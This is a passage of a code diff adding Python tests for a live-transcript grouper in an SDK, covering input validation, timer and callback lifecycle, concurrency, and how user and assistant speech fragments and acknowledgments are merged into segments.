+ timer.fired = True
+ timer.callback()
+ if isinstance(grouper, AsyncTranscriptGrouper):
+ await grouper._dispatch()
+ self.now = target
+
+
+class ClockGrouper(TranscriptGrouper):
+ def __init__(
+ self, clock: FakeClock, additional_acknowledgments: Sequence[str] | None = None, **options: float
+ ) -> None:
+ self.clock = clock
+ super().__init__(additional_acknowledgments=additional_acknowledgments, **options)
+
+ @override
+ def _now(self) -> float:
+ return self.clock.now
+
+ @override
+ def _call_later(self, delay_ms: int, callback: Callable[[], None]) -> FakeTimer:
+ return self.clock.call_later(delay_ms, callback)
+
+
+class AsyncClockGrouper(AsyncTranscriptGrouper):
+ def __init__(
+ self, clock: FakeClock, additional_acknowledgments: Sequence[str] | None = None, **options: float
+ ) -> None:
+ self.clock = clock
+ super().__init__(additional_acknowledgments=additional_acknowledgments, **options)
+
+ @override
+ def _now(self) -> float:
+ return self.clock.now
+
+ @override
+ def _call_later(self, delay_ms: int, callback: Callable[[], None]) -> FakeTimer:
+ return self.clock.call_later(delay_ms, callback)
+
+
+async def push(grouper: TranscriptGrouper | AsyncTranscriptGrouper, value: ServerEvent) -> None:
+ result = grouper.push(value)
+ if inspect.isawaitable(result):
+ await result
+
+
+async def close(grouper: TranscriptGrouper | AsyncTranscriptGrouper) -> None:
+ result = grouper.close()
+ if inspect.isawaitable(result):
+ await result
+
+
+class Recording:
+ def __init__(self, grouper: TranscriptGrouper | AsyncTranscriptGrouper, clock: FakeClock) -> None:
+ self.clock = clock
+ self.events: list[tuple[float, TranscriptSegment | TranscriptSegmentClosedEvent]] = []
+ self.updated: list[TranscriptSegment] = []
+ self.closed: list[TranscriptSegmentClosedEvent] = []
+ self.latest: dict[str, TranscriptSegment] = {}
+ self.finished: set[str] = set()
+ grouper.on("segment.updated", self.on_updated)
+ grouper.on("segment.closed", self.on_closed)
+
+ def on_updated(self, segment: TranscriptSegment) -> None:
+ assert segment.id not in self.finished
+ previous = self.latest.get(segment.id)
+ assert previous is None or segment.text.startswith(previous.text)
+ self.latest[segment.id] = segment
+ self.updated.append(segment)
+ self.events.append((self.clock.now, segment))
+
+ def on_closed(self, closed: TranscriptSegmentClosedEvent) -> None:
+ segment = closed.segment
+ assert segment.id not in self.finished
+ assert segment == self.latest[segment.id]
+ self.finished.add(segment.id)
+ self.closed.append(closed)
+ self.events.append((self.clock.now, closed))
diff --git a/tests/lib/live/test_transcript_grouper.py b/tests/lib/live/test_transcript_grouper.py
new file mode 100644
index 0000000000..77d4267eec
--- /dev/null
+++ b/tests/lib/live/test_transcript_grouper.py
@@ -0,0 +1,152 @@
+from __future__ import annotations
+
+from typing import Any, cast
+from dataclasses import FrozenInstanceError
+
+import pytest
+
+from openai import OpenAIError
+from openai.lib.live import TranscriptGrouper, AsyncTranscriptGrouper
+from openai.types.live import InputTranscriptDeltaEvent, OutputTranscriptDeltaEvent
+
+from .helpers import FakeClock, Recording, ClockGrouper, AsyncClockGrouper, push, text, close, event
+
+
+@pytest.mark.parametrize("factory", [TranscriptGrouper, AsyncTranscriptGrouper])
+@pytest.mark.parametrize(
+ "key", ["min_turn_separation_ms", "assistant_silence_ms", "backchannel_max_duration_ms", "backchannel_isolation_ms"]
+)
+@pytest.mark.parametrize("value", [-1, float("nan"), float("inf"), 2_147_483_648, True, "100", 10**400])
+def test_invalid_options(
+ factory: type[TranscriptGrouper] | type[AsyncTranscriptGrouper], key: str, value: object
+) -> None:
+ with pytest.raises(OpenAIError, match="finite number"):
+ factory(**{key: cast(Any, value)})
+
+
+@pytest.mark.parametrize(
+ "field,value",
+ [
+ ("start_ms", -1),
+ ("start_ms", 0.5),
+ ("start_ms", float("nan")),
+ ("start_ms", float("inf")),
+ ("start_ms", 9_007_199_254_740_992),
+ ("start_ms", True),
+ ("start_ms", None),
+ ("start_ms", "0"),
+ ("end_ms", -1),
+ ("end_ms", True),
+ ("end_ms", 0.5),
+ ("end_ms", 9_007_199_254_740_992),
+ ("event_id", ""),
+ ("event_id", 123),
+ ("delta", None),
+ ("delta", 123),
+ ],
+)
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_invalid_transcript_before_state_changes(field: str, value: object, async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ recording = Recording(grouper, clock)
+ data: dict[str, Any] = {
+ "type": "session.input_transcript.delta",
+ "start_ms": 0,
+ "end_ms": 200,
+ "event_id": "same",
+ "delta": "Invalid",
+ }
+ data[field] = value
+ incoming = event(data)
+ assert isinstance(incoming, InputTranscriptDeltaEvent)
+ # Pydantic may coerce bool/string times and (v1) numeric text/IDs. Mutate
+ # the constructed model so the helper actually receives the malformed value.
+ setattr(incoming, field, value)
+ with pytest.raises(OpenAIError, match="Invalid public Live transcript"):
+ await push(grouper, incoming)
+ await push(grouper, text("Valid", item_id="same", speaker="user"))
+ await close(grouper)
+ assert [item.segment.text for item in recording.closed] == ["Valid"]
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_missing_fields_and_reversed_interval(async_mode: bool) -> None:
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(FakeClock())
+ for data in [
+ {"type": "session.input_transcript.delta"},
+ {
+ "type": "session.input_transcript.delta",
+ "start_ms": 200,
+ "end_ms": 100,
+ "event_id": "same",
+ "delta": "x",
+ },
+ ]:
+ with pytest.raises(OpenAIError, match="Invalid public Live transcript"):
+ await push(grouper, event(data))
+ await close(grouper)
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_copies_input_and_freezes_snapshots(async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ recording = Recording(grouper, clock)
+ incoming = text("Original")
+ assert isinstance(incoming, OutputTranscriptDeltaEvent)
+ await push(grouper, incoming)
+ incoming.delta = "Changed"
+ incoming.event_id = "changed-id"
+ incoming.end_ms = 999
+ await close(grouper)
+ segment = recording.closed[0].segment
+ assert segment.text == "Original"
+ assert segment.end_ms == 200
+ with pytest.raises(FrozenInstanceError):
+ cast(Any, segment).text = "Mutated"
+ with pytest.raises(FrozenInstanceError):
+ cast(Any, recording.closed[0]).reason = "inactivity"
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_large_unicode_text_without_limits(async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ recording = Recording(grouper, clock)
+ value = "你好 😀" * 100_000
+ await push(grouper, text(value))
+ await push(grouper, text(" \n", start=200, end=400, item_id="second"))
+ await close(grouper)
+ assert recording.closed[0].segment.text == value + " \n"
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_idempotent_close_and_push_after_close(async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ recording = Recording(grouper, clock)
+ await push(grouper, text())
+ await close(grouper)
+ await close(grouper)
+ for incoming in [text(), event({"type": "turn.created"}), event({"type": "session.closed"})]:
+ with pytest.raises(OpenAIError, match="after closing"):
+ await push(grouper, incoming)
+ assert len(recording.closed) == 1
+ assert not clock.pending
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_integer_valued_float_matches_javascript(async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ recording = Recording(grouper, clock)
+ incoming = text(speaker="user")
+ assert isinstance(incoming, InputTranscriptDeltaEvent)
+ # Number.isSafeInteger(0.0) is true in TypeScript. Model mutation avoids coercion.
+ cast(Any, incoming).start_ms = 0.0
+ cast(Any, incoming).end_ms = 200.0
+ await push(grouper, incoming)
+ await close(grouper)
+ assert recording.closed[0].segment.start_ms == 0
+ assert recording.closed[0].segment.end_ms == 200
diff --git a/tests/lib/live/test_transcript_grouper_lifecycle.py b/tests/lib/live/test_transcript_grouper_lifecycle.py
new file mode 100644
index 0000000000..d06d7975f3
--- /dev/null
+++ b/tests/lib/live/test_transcript_grouper_lifecycle.py
@@ -0,0 +1,349 @@
+from __future__ import annotations
+
+import asyncio
+import threading
+from typing import Any
+from concurrent.futures import ThreadPoolExecutor
+
+import pytest
+
+from openai import OpenAIError
+from openai.lib.live import TranscriptGrouper, TranscriptSegment, AsyncTranscriptGrouper, TranscriptSegmentClosedEvent
+
+from .helpers import FakeClock, Recording, ClockGrouper, AsyncClockGrouper, push, text, close
+
+
+def test_subscriptions_are_registration_scoped() -> None:
+ grouper = ClockGrouper(FakeClock())
+ seen: list[str] = []
+
+ def listener(segment: TranscriptSegment) -> None:
+ seen.append(segment.text)
+
+ assert grouper.on("segment.updated", listener) is grouper
+ assert grouper.once("segment.updated", listener) is grouper
+ grouper.push(text("One", speaker="user"))
+ grouper.push(text(" two", speaker="user", start=200, end=400, item_id="two"))
+ assert seen == ["One", "One", "One two"]
+ assert grouper.off("segment.updated", listener) is grouper
+ grouper.push(text(" three", speaker="user", start=400, end=600, item_id="three"))
+ grouper.close()
+ assert seen == ["One", "One", "One two"]
+
+
+def test_decorators_and_mutating_subscriptions_during_dispatch() -> None:
+ grouper = ClockGrouper(FakeClock())
+ seen: list[str] = []
+
+ def second(_: TranscriptSegment) -> None:
+ seen.append("second")
+
+ @grouper.once("segment.updated")
+ def first(_: TranscriptSegment) -> None:
+ seen.append("first")
+ grouper.off("segment.updated", second)
+ grouper.on("segment.updated", lambda _: seen.append("late"))
+
+ grouper.on("segment.updated", second)
+
+ @grouper.on("segment.closed")
+ def on_closed(_: TranscriptSegmentClosedEvent) -> None:
+ seen.append("closed")
+
+ assert callable(first) and callable(on_closed)
+ grouper.push(text("One", speaker="user"))
+ grouper.push(text(" two", speaker="user", start=200, end=400, item_id="two"))
+ grouper.close()
+ assert seen == ["first", "second", "late", "closed"]
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_stale_timer_after_reschedule_and_close(async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ recording = Recording(grouper, clock)
+ await push(grouper, text("One"))
+ old_timer = clock.pending[0]
+ await push(grouper, text(" two", start=200, end=400, item_id="two"))
+ before = list(recording.events)
+ old_timer.callback() # A cancelled callback may already have been dequeued.
+ assert recording.events == before
+ last_timer = clock.pending[0]
+ await close(grouper)
+ after = list(recording.events)
+ last_timer.callback()
+ assert recording.events == after
+ assert len(recording.closed) == 1
+ assert not clock.pending
+
+
+async def test_sync_reentrant_close_preserves_fifo() -> None:
+ clock = FakeClock()
+ grouper = ClockGrouper(clock)
+ order: list[str] = []
+
+ def first(_: TranscriptSegment) -> None:
+ order.append("first")
+ grouper.close()
+ with pytest.raises(OpenAIError):
+ grouper.push(text("after"))
+
+ grouper.on("segment.updated", first)
+ grouper.on("segment.updated", lambda _: order.append("second"))
+ grouper.on("segment.closed", lambda _: order.append("closed"))
+ grouper.push(text())
+ await clock.advance(50, grouper)
+ assert order == ["first", "second", "closed"]
+ assert not clock.pending
+
+
+async def test_async_reentrant_close_preserves_fifo() -> None:
+ clock = FakeClock()
+ grouper = AsyncClockGrouper(clock)
+ order: list[str] = []
+
+ @grouper.on("segment.updated")
+ async def first(_: TranscriptSegment) -> None:
+ order.append("first")
+ await grouper.close()
+
+ assert callable(first)
+ grouper.on("segment.updated", lambda _: order.append("second"))
+ grouper.on("segment.closed", lambda _: order.append("closed"))
+ await grouper.push(text())
+ await asyncio.wait_for(clock.advance(50, grouper), 2)
+ await grouper.close()
+ assert order == ["first", "second", "closed"]
+ assert not clock.pending
+ assert grouper._dispatch_run is None or (
+ grouper._dispatch_run.task is not None and grouper._dispatch_run.task.done()
+ )
+
+
+async def test_async_callbacks_and_concurrent_close_are_serialized() -> None:
+ grouper = AsyncClockGrouper(FakeClock())
+ entered = asyncio.Event()
+ release = asyncio.Event()
+ order: list[str] = []
+
+ async def on_updated(segment: TranscriptSegment) -> None:
+ order.append(f"start:{segment.text}")
+ entered.set()
+ await release.wait()
+ order.append(f"end:{segment.text}")
+
+ grouper.on("segment.updated", on_updated)
+ grouper.on("segment.closed", lambda _: order.append("closed"))
+ await grouper.push(text("One", speaker="user"))
+ sender = asyncio.create_task(grouper.push(text(" two", start=200, end=400, item_id="two", speaker="user")))
+ await asyncio.wait_for(entered.wait(), 2)
+ closer = asyncio.create_task(grouper.close())
+ await asyncio.sleep(0)
+ assert order == ["start:One"]
+ assert not closer.done()
+ release.set()
+ await asyncio.wait_for(asyncio.gather(sender, closer), 2)
+ assert order == ["start:One", "end:One", "start:One two", "end:One two", "closed"]
+
+
+async def test_cancelled_waiter_does_not_cancel_active_dispatch() -> None:
+ grouper = AsyncClockGrouper(FakeClock())
+ entered, release = asyncio.Event(), asyncio.Event()
+ closed: list[TranscriptSegmentClosedEvent] = []
+
+ async def listener(_: TranscriptSegment) -> None:
+ entered.set()
+ await release.wait()
+
+ grouper.on("segment.updated", listener)
+ grouper.on("segment.closed", closed.append)
+ await grouper.push(text("One", speaker="user"))
+ sender = asyncio.create_task(grouper.push(text(" two", start=200, end=400, item_id="two", speaker="user")))
+ await asyncio.wait_for(entered.wait(), 2)
+ waiter = asyncio.create_task(grouper.close())
+ await asyncio.sleep(0)
+ waiter.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await waiter
+ release.set()
+ await asyncio.wait_for(sender, 2)
+ await grouper.close()
+ assert len(closed) == 1
+
+
+@pytest.mark.parametrize("operation", ["push", "close"])
+async def test_cancelled_dispatch_caller_preserves_remaining_handlers(operation: str) -> None:
+ clock = FakeClock()
+ grouper = AsyncClockGrouper(clock)
+ await grouper.push(text("One", speaker="user"))
+ await clock.advance(50, grouper)
+ entered, release = asyncio.Event(), asyncio.Event()
+ delivered: list[str] = []
+
+ async def first(_: TranscriptSegment | TranscriptSegmentClosedEvent) -> None:
+ entered.set()
+ await release.wait()
+ delivered.append("first")
+
+ if operation == "push":
+ grouper.on("segment.updated", first)
+ grouper.on("segment.updated", lambda _: delivered.append("second"))
+ caller = asyncio.create_task(grouper.push(text(" two", start=200, end=400, item_id="two", speaker="user")))
+ else:
+ grouper.on("segment.closed", first)
+ grouper.on("segment.closed", lambda _: delivered.append("second"))
+ caller = asyncio.create_task(grouper.close())
+ try:
+ await asyncio.wait_for(entered.wait(), 2)
+ caller.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await caller
+ finally:
+ release.set()
+ await asyncio.wait_for(grouper.close(), 2)
+ assert delivered == ["first", "second"]
+
+
+def test_sync_callbacks_do_not_hold_state_lock_or_run_concurrently() -> None:
+ grouper = ClockGrouper(FakeClock())
+ entered, release = threading.Event(), threading.Event()
+ order: list[str] = []
+
+ def listener(segment: TranscriptSegment) -> None:
+ order.append(f"start:{segment.text}")
+ entered.set()
+ assert release.wait(2)
+ order.append(f"end:{segment.text}")
+
+ grouper.on("segment.updated", listener)
+ grouper.on("segment.closed", lambda _: order.append("closed"))
+ grouper.push(text("One", speaker="user"))
+ with ThreadPoolExecutor(max_workers=2) as pool:
+ sender = pool.submit(grouper.push, text(" two", start=200, end=400, item_id="two", speaker="user"))
+ try:
+ assert entered.wait(2)
+ pool.submit(grouper.close).result(timeout=2)
+ assert order == ["start:One"]
+ finally:
+ release.set()
+ sender.result(timeout=2)
+ assert order == ["start:One", "end:One", "start:One two", "end:One two", "closed"]
+
+
+def test_concurrent_duplicate_delivery_and_close() -> None:
+ grouper = TranscriptGrouper()
+ snapshots: list[TranscriptSegment] = []
+ finished: list[TranscriptSegmentClosedEvent] = []
+ grouper.on("segment.updated", snapshots.append)
+ grouper.on("segment.closed", finished.append)
+ incoming = text("Once")
+
+ def close_one(_: int) -> None:
+ grouper.close()
+
+ with ThreadPoolExecutor(max_workers=8) as pool:
+ list(pool.map(grouper.push, [incoming] * 100))
+ list(pool.map(close_one, range(20)))
+ assert len(snapshots) == len(finished) == 1
+ assert finished[0].segment.text == "Once"
+
+
+def test_real_sync_timer_finishes_without_new_events() -> None:
+ finished = threading.Event()
+ snapshots: list[TranscriptSegmentClosedEvent] = []
+
+ def listener(value: TranscriptSegmentClosedEvent) -> None:
+ snapshots.append(value)
+ finished.set()
+
+ with TranscriptGrouper(assistant_silence_ms=75) as grouper:
+ grouper.on("segment.closed", listener)
+ grouper.push(text())
+ assert finished.wait(2)
+ assert snapshots[0].reason == "inactivity"
+ assert snapshots[0].segment.end_ms == 200
+ assert grouper._timer is None
+
+
+async def test_real_async_timer_stays_on_event_loop() -> None:
+ finished = asyncio.Event()
+ loop = asyncio.get_running_loop()
+ thread_id = threading.get_ident()
+
+ async def listener(value: TranscriptSegmentClosedEvent) -> None:
+ assert asyncio.get_running_loop() is loop
+ assert threading.get_ident() == thread_id
+ assert value.reason == "inactivity"
+ await asyncio.sleep(0)
+ finished.set()
+
+ async with AsyncTranscriptGrouper(assistant_silence_ms=75) as grouper:
+ grouper.on("segment.closed", listener)
+ await grouper.push(text())
+ await asyncio.wait_for(finished.wait(), 2)
+ assert grouper._timer is None
+ assert grouper._dispatch_run is None or (
+ grouper._dispatch_run.task is not None and grouper._dispatch_run.task.done()
+ )
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+async def test_callback_errors_propagate_and_allow_cleanup(async_mode: bool) -> None:
+ clock = FakeClock()
+ grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(clock)
+ finished: list[TranscriptSegmentClosedEvent] = []
+
+ def failing(_: TranscriptSegment) -> None:
+ raise ValueError("synthetic callback failure")
+
+ grouper.once("segment.updated", failing)
+ grouper.on("segment.closed", finished.append)
+ await push(grouper, text("One", speaker="user"))
+ with pytest.raises(ValueError, match="synthetic"):
+ await push(grouper, text(" two", start=200, end=400, item_id="two", speaker="user"))
+ await close(grouper)
+ assert len(finished) == 1
+ assert finished[0].segment.text == "One two"
+ assert not clock.pending
+
+
+async def test_async_timer_handler_errors_are_reported() -> None:
+ loop = asyncio.get_running_loop()
+ previous = loop.get_exception_handler()
+ errors: list[dict[str, Any]] = []
+ reported = asyncio.Event()
+
+ def exception_handler(_: asyncio.AbstractEventLoop, context: dict[str, Any]) -> None:
+ errors.append(context)
+ reported.set()
+
+ async def failing(_: TranscriptSegment) -> None:
+ raise ValueError("synthetic timer callback failure")
+
+ loop.set_exception_handler(exception_handler)
+ try:
+ async with AsyncTranscriptGrouper() as grouper:
+ grouper.once("segment.updated", failing)
+ await grouper.push(text())
+ await asyncio.wait_for(reported.wait(), 2)
+ assert len(errors) == 1
+ assert isinstance(errors[0]["exception"], ValueError)
+ finally:
+ loop.set_exception_handler(previous)
+
+
+async def test_context_managers_close_on_body_failure() -> None:
+ sync = ClockGrouper(FakeClock())
+ with pytest.raises(ValueError):
+ with sync:
+ sync.push(text())
+ raise ValueError("body")
+ assert sync._state.closed
+ assert not sync.clock.pending
+ asynchronous = AsyncClockGrouper(FakeClock())
+ with pytest.raises(ValueError):
+ async with asynchronous:
+ await asynchronous.push(text())
+ raise ValueError("body")
+ assert asynchronous._state.closed
+ assert not asynchronous.clock.pending
diff --git a/tests/lib/live/test_transcript_grouping.py b/tests/lib/live/test_transcript_grouping.py
new file mode 100644
index 0000000000..aaf3789709
--- /dev/null
+++ b/tests/lib/live/test_transcript_grouping.py
@@ -0,0 +1,385 @@
+from __future__ import annotations
+
+import itertools
+from typing import Callable, Sequence, AsyncIterator
+
+import pytest
+
+from openai.types.live import ServerEvent
+
+from .helpers import FakeClock, Recording, ClockGrouper, AsyncClockGrouper, push, text, close, event
+
+_ITEM_IDS = itertools.count()
+
+
+def fragment(speaker: str, value: str, start: int, end: int | None = None) -> ServerEvent:
+ return text(
+ value, speaker=speaker, start=start, end=start + 200 if end is None else end, item_id=f"item_{next(_ITEM_IDS)}"
+ )
+
+
+class Transcript:
+ def __init__(
+ self, async_mode: bool, additional_acknowledgments: Sequence[str] | None = None, **options: float
+ ) -> None:
+ self.clock = FakeClock()
+ self.grouper = (AsyncClockGrouper if async_mode else ClockGrouper)(
+ self.clock, additional_acknowledgments=additional_acknowledgments, **options
+ )
+ self.recording = Recording(self.grouper, self.clock)
+
+ async def feed(self, *events: ServerEvent) -> None:
+ for incoming in events:
+ await push(self.grouper, incoming)
+
+ async def advance(self, milliseconds: float) -> None:
+ await self.clock.advance(milliseconds, self.grouper)
+
+ async def finish(self, *expected: tuple[str, str]) -> None:
+ await close(self.grouper)
+ segments = [closed.segment for closed in self.recording.closed]
+ assert [(segment.speaker, segment.text) for segment in segments] == list(expected)
+ assert [segment.previous_id for segment in segments] == (
+ [None] + [segment.id for segment in segments[:-1]] if segments else []
+ )
+ assert len(self.recording.finished) == len(self.recording.latest)
+ assert not self.clock.pending
+
+
+Factory = Callable[..., Transcript]
+
+
+@pytest.fixture(params=[False, True], ids=["sync", "async"])
+async def make_transcript(request: pytest.FixtureRequest) -> AsyncIterator[Factory]:
+ transcripts: list[Transcript] = []
+
+ def make(additional_acknowledgments: Sequence[str] | None = None, **options: float) -> Transcript:
+ transcript = Transcript(request.param, additional_acknowledgments=additional_acknowledgments, **options)
+ transcripts.append(transcript)
+ return transcript
+
+ yield make
+ for transcript in transcripts:
+ await close(transcript.grouper)
+
+
+async def test_append_only_snapshots_and_predecessors(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(
+ fragment("user", "Can you ", 0), fragment("user", "run ls?", 200), fragment("assistant", "Sure.", 1000)
+ )
+ await t.finish(("user", "Can you run ls?"), ("assistant", "Sure."))
+ assert t.recording.updated[0].text == "Can you "
+ assert t.recording.closed[0].segment.start_ms == 0
+ assert t.recording.closed[0].segment.end_ms == 400
+
+
+@pytest.mark.parametrize("parts", [("mhm",), ("Mm-hmm.",), ("Mm-", "hmm."), ("ye", "ah"), ("uh-", "huh!")])
+async def test_overlapping_acknowledgment_when_user_continues(make_transcript: Factory, parts: tuple[str, ...]) -> None:
+ t = make_transcript()
+ await t.feed(fragment("user", "Tell me", 0))
+ for index, part in enumerate(parts):
+ await t.feed(fragment("assistant", part, 200 + index * 200))
+ await t.feed(fragment("user", "more", 800), fragment("assistant", "Here is the answer.", 2000))
+ await t.finish(("user", "Tell me more"), ("assistant", "Here is the answer."))
+
+
+@pytest.mark.parametrize("parts", [("xy-", "z!"), ("mhm",), ("Mm-hmm.",)])
+async def test_additional_acknowledgments_extend_defaults(make_transcript: Factory, parts: tuple[str, ...]) -> None:
+ phrases = [" XY-Z! ", "..."]
+ t = make_transcript(additional_acknowledgments=phrases)
+ phrases.clear()
+ await t.feed(fragment("user", "Tell me", 0))
+ for index, part in enumerate(parts):
+ await t.feed(fragment("assistant", part, 200 + index * 200))
+ await t.feed(fragment("user", "more", 800))
+ await t.finish(("user", "Tell me more"))
+
+
+async def test_additional_acknowledgments_are_instance_local(make_transcript: Factory) -> None:
+ make_transcript(additional_acknowledgments=["xyz"])
+ t = make_transcript()
+ await t.feed(fragment("user", "Tell me", 0), fragment("assistant", "xyz", 200), fragment("user", "more", 800))
+ await t.finish(("user", "Tell me"), ("assistant", "xyz"), ("user", "more"))
+
+
+async def test_additional_acknowledgments_respect_disabled_suppression(make_transcript: Factory) -> None:
+ t = make_transcript(additional_acknowledgments=["xyz"], backchannel_max_duration_ms=0)
+ await t.feed(fragment("user", "Tell me", 0), fragment("assistant", "xyz", 200), fragment("user", "more", 800))
+ await t.finish(("user", "Tell me"), ("assistant", "xyz"), ("user", "more"))
+
+
+async def test_discarded_backchannel_does_not_prefix_answer(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(
+ fragment("user", "Tell me", 0),
+ fragment("assistant", "mhm", 200),
+ fragment("user", "more", 400),
+ fragment("assistant", "Here is the answer.", 600),
+ )
+ await t.finish(("user", "Tell me more"), ("assistant", "Here is the answer."))
+
+
+async def test_short_substantive_answer_and_trailing_user_text(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(
+ fragment("user", "Stop counting", 0), fragment("assistant", "thirteen", 200), fragment("user", ".", 400)
+ )
+ await t.finish(("user", "Stop counting."), ("assistant", "thirteen"))
+
+
+async def test_standalone_acknowledgment_after_speaker_gap(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("user", "Are you there?", 0), fragment("assistant", "yes", 800))
+ await t.advance(5000)
+ await t.finish(("user", "Are you there?"), ("assistant", "yes"))
+ assert [closed.reason for closed in t.recording.closed] == ["speaker_change", "inactivity"]
+
+
+@pytest.mark.parametrize("input_first", [True, False])
+async def test_same_interval_barge_in(make_transcript: Factory, input_first: bool) -> None:
+ t = make_transcript()
+ await t.feed(fragment("assistant", "The answer is", 0))
+ await t.advance(50)
+ pair = [fragment("user", "Wait", 200), fragment("assistant", " forty-two.", 200)]
+ await t.feed(*(pair if input_first else pair[::-1]), fragment("user", ", stop.", 400))
+ await t.finish(("assistant", "The answer is forty-two."), ("user", "Wait, stop."))
+
+
+@pytest.mark.parametrize("input_first", [True, False])
+async def test_first_interval_prefers_user(make_transcript: Factory, input_first: bool) -> None:
+ t = make_transcript()
+ pair = [fragment("user", "hello", 0), fragment("assistant", "hello there", 0)]
+ await t.feed(*(pair if input_first else pair[::-1]))
+ await t.finish(("user", "hello"), ("assistant", "hello there"))
+
+
+async def test_assistant_inactivity_without_another_event(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("assistant", "Answer", 0))
+ await t.advance(1999)
+ assert not t.recording.closed
+ await t.advance(1)
+ assert t.recording.closed[0].reason == "inactivity"
+ assert t.recording.closed[0].segment.end_ms == 200
+ await t.finish(("assistant", "Answer"))
+
+
+async def test_user_inactivity_does_not_close(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("user", "Hello", 0))
+ await t.advance(60000)
+ assert not t.recording.closed
+ assert not t.clock.pending
+ await t.feed(fragment("user", " again.", 60000))
+ await t.finish(("user", "Hello again."))
+
+
+async def test_overlapping_intervals_restart_local_inactivity(make_transcript: Factory) -> None:
+ t = make_transcript(assistant_silence_ms=200)
+ await t.feed(fragment("assistant", "First", 0, 500))
+ await t.advance(100)
+ await t.feed(fragment("assistant", " overlapping.", 100, 120))
+ await t.advance(199)
+ assert not t.recording.closed
+ await t.advance(1)
+ assert t.recording.closed[0].segment.end_ms == 500
+ await t.feed(fragment("assistant", "Later.", 150, 200))
+ await t.finish(("assistant", "First overlapping."), ("assistant", "Later."))
+
+
+async def test_timestamp_reset_clears_old_source_clock(make_transcript: Factory) -> None:
+ t = make_transcript(assistant_silence_ms=200)
+ await t.feed(fragment("assistant", "Old timeline.", 1000, 1500))
+ await t.advance(100)
+ await t.feed(fragment("assistant", "New timeline.", 0, 100))
+ assert t.recording.closed[0].reason == "timestamp_reset"
+ await t.advance(199)
+ assert len(t.recording.closed) == 1
+ await t.advance(1)
+ assert t.recording.closed[1].reason == "inactivity"
+ assert t.recording.closed[1].segment.end_ms == 100
+ await t.finish(("assistant", "Old timeline."), ("assistant", "New timeline."))
+
+
+async def test_source_time_gaps_when_delivery_is_batched(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(
+ fragment("user", "One?", 0),
+ fragment("assistant", "First answer.", 1000),
+ fragment("assistant", "Second answer.", 4000),
+ )
+ await t.finish(("user", "One?"), ("assistant", "First answer."), ("assistant", "Second answer."))
+ assert t.recording.closed[1].reason == "inactivity"
+
+
+async def test_settle_window_only_delays_speaker_changes(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("assistant", "First", 0))
+ await t.advance(49)
+ assert not t.recording.updated
+ await t.advance(1)
+ assert len(t.recording.updated) == 1
+ await t.feed(fragment("assistant", " next", 200))
+ assert [segment.text for segment in t.recording.updated] == ["First", "First next"]
+ await t.finish(("assistant", "First next"))
+
+
+async def test_unrelated_events_do_not_change_the_projection(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("assistant", "Say [end] literally.", 0))
+ await t.advance(50)
+ timer = t.clock.pending[0]
+ for kind in [
+ "turn.created",
+ "turn.delta",
+ "turn.done",
+ "response.completed",
+ "delegation.created",
+ "output_audio.delta",
+ ]:
+ await t.feed(event({"type": kind}))
+ assert t.clock.pending == [timer]
+ assert not t.recording.closed
+ assert len(t.recording.updated) == 1
+ await t.finish(("assistant", "Say [end] literally."))
+
+
+async def test_duplicates_and_empty_text_do_not_reset_deadlines(make_transcript: Factory) -> None:
+ t = make_transcript()
+ incoming = fragment("assistant", "Once.", 0)
+ await t.feed(incoming)
+ await t.advance(1900.5)
+ timer = t.clock.pending[0]
+ await t.feed(incoming, fragment("assistant", "", 100000))
+ assert t.clock.pending == [timer]
+ await t.advance(99.5)
+ assert len(t.recording.closed) == 1
+ assert t.recording.closed[0].reason == "inactivity"
+ await t.finish(("assistant", "Once."))
+
+
+async def test_empty_transcript_item_still_counts_as_seen(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(
+ text("", speaker="user", item_id="same"),
+ text("Ignored", speaker="user", item_id="same"),
+ fragment("user", "Kept", 400),
+ )
+ await t.finish(("user", "Kept"))
+
+
+async def test_late_text_never_reopens_closed_segment(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(fragment("assistant", "First", 0))
+ await t.advance(3000)
+ await t.feed(fragment("assistant", " late.", 200))
+ await t.finish(("assistant", "First"), ("assistant", " late."))
+ assert t.recording.closed[0].segment.id != t.recording.closed[1].segment.id
+
+
+async def test_public_session_closed_flushes_once(make_transcript: Factory) -> None:
+ t = make_transcript()
+ await t.feed(
+ fragment("user", "Question", 0), fragment("assistant", "Answer", 200), event({"type": "session.closed"})
+ )
+ await t.finish(("user", "Question"), ("assistant", "Answer"))
+ assert all(closed.reason == "session_closed" for closed in t.recording.closed)
+
+
+async def test_zero_disables_suppression(make_transcript: Factory) -> None:
